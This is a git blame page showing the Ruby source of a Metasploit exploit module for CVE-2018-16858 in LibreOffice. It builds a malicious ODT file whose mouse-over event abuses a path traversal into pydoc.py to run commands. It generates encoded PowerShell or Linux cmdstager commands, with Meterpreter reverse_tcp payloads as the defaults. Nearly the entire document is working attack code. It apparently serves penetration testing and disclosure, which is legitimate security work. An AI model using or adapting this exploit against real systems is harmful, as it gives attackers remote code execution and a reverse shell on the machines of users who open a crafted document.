Files
metasploit-gs/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

116 lines
3.7 KiB
Ruby
Raw Normal View History

2019-04-05 14:39:44 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
2019-04-11 11:34:30 -05:00
include Msf::Exploit::Powershell
2019-04-11 13:52:51 -05:00
include Msf::Exploit::CmdStager
2019-04-05 14:39:44 -05:00
def initialize(info = {})
super(update_info(info,
2019-04-15 08:26:11 -05:00
'Name' => 'LibreOffice Macro Code Execution',
2019-04-05 14:39:44 -05:00
'Description' => %q{
2019-04-15 08:26:11 -05:00
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them. A macro can be tied
to a program event by including the script that contains the macro and
the function name to be executed. Additionally, a directory traversal
vulnerability exists in the component that references the Python script
to be executed. This allows a program event to execute functions from Python
scripts relative to the path of the samples macros folder. The pydoc.py script
included with LibreOffice contains the tempfilepager function that passes
arguments to os.system, allowing RCE.
This module generates an ODT file with a mouse over event that
when triggered, will execute arbitrary code.
2019-04-05 14:39:44 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alex Inführ', # Vulnerability discovery and PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-16858' ],
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
2019-04-15 08:26:11 -05:00
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
2019-04-05 14:39:44 -05:00
'Targets' =>
[
[
'Windows',
{
2019-04-11 11:34:30 -05:00
'Platform' => 'win',
2019-04-17 08:29:58 -05:00
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' => 'windows/meterpreter/reverse_tcp',
'DefaultOptions' => { 'PrependMigrate' => true }
2019-04-05 14:39:44 -05:00
}
],
[
2019-04-11 11:34:30 -05:00
'Linux',
2019-04-05 14:39:44 -05:00
{
2019-04-11 11:34:30 -05:00
'Platform' => 'linux',
2019-04-17 08:29:58 -05:00
'Arch' => [ ARCH_X86, ARCH_X64 ],
2019-04-11 13:52:51 -05:00
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
2019-04-17 08:29:58 -05:00
'DefaultOptions' => { 'PrependFork' => true },
'CmdStagerFlavor' => 'printf',
2019-04-05 14:39:44 -05:00
}
]
],
'DisclosureDate' => "2018-10-18",
2019-04-08 14:57:48 -05:00
'DefaultTarget' => 0
2019-04-15 08:26:11 -05:00
))
2019-04-08 14:57:48 -05:00
register_options(
[
2019-04-15 08:26:11 -05:00
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
2019-04-08 14:57:48 -05:00
])
2019-04-05 14:39:44 -05:00
end
2019-04-11 11:34:30 -05:00
def gen_windows_cmd
opts =
{
:remove_comspec => true,
:method => 'reflection',
:encode_final_payload => true
}
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
@cmd << ' &amp;&amp; echo'
end
2019-04-11 13:52:51 -05:00
def gen_linux_cmd
2019-04-15 08:26:11 -05:00
@cmd = generate_cmdstager.first
2019-04-11 13:52:51 -05:00
@cmd << ' &amp;&amp; echo'
end
2019-04-08 14:57:48 -05:00
def gen_file(path)
text_content = Rex::Text.rand_text_alpha(10..15)
2019-04-15 08:26:11 -05:00
# file from Alex Inführ's PoC post referenced above
2019-04-08 14:57:48 -05:00
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
libre_file
rescue Errno::ENOENT
2019-04-11 14:18:19 -05:00
fail_with(Failure::NotFound, 'Cannot find template file')
2019-04-05 14:39:44 -05:00
end
def exploit
2019-04-11 13:52:51 -05:00
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
2019-04-08 14:57:48 -05:00
if datastore['TARGET'] == 0
2019-04-11 11:34:30 -05:00
gen_windows_cmd
2019-04-08 14:57:48 -05:00
elsif datastore['TARGET'] == 1
2019-04-11 13:52:51 -05:00
gen_linux_cmd
2019-04-08 14:57:48 -05:00
else
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
end
fodt_file = gen_file(path)
2019-04-05 14:39:44 -05:00
file_create(fodt_file)
end
end